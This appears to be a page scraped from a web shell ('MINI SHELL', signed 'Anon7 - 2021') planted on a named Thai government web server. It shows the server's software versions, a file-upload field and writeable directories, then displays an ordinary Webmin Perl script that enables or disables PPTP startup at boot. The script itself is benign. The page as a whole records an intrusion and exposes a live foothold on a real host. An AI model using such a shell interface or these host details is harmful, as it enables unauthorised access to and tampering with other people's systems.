MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /proc/self/root/proc/self/root/usr/libexec/webmin/pptp-client/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/proc/self/root/usr/libexec/webmin/pptp-client/bootup.cgi
#!/usr/bin/perl
# bootup.cgi
# Create, enable or disable PPTP startup at boot time

require './pptp-client-lib.pl';
&foreign_require("init", "init-lib.pl");
&ReadParse();

$start_cmd = "$module_config_directory/start.pl";
$stop_cmd = "$module_config_directory/stop.pl";

if ($in{'tunnel'}) {
	# Create start and stop wrapper scripts
	&foreign_require("cron", "cron-lib.pl");
	&cron::create_wrapper($start_cmd, $module_name, "start.pl");
	&cron::create_wrapper($stop_cmd, $module_name, "stop.pl");

	# Enable starting at boot
	&init::enable_at_boot($module_name,
			      "Startup or shutdown PPTP connection",
			      $start_cmd, $stop_cmd);
	$config{'boot'} = $in{'tunnel'};
	}
else {
	# Disable starting at boot
	&init::disable_at_boot($module_name);
	delete($config{'boot'});
	}

# Save setting
&save_module_config();

&redirect("");


Anon7 - 2021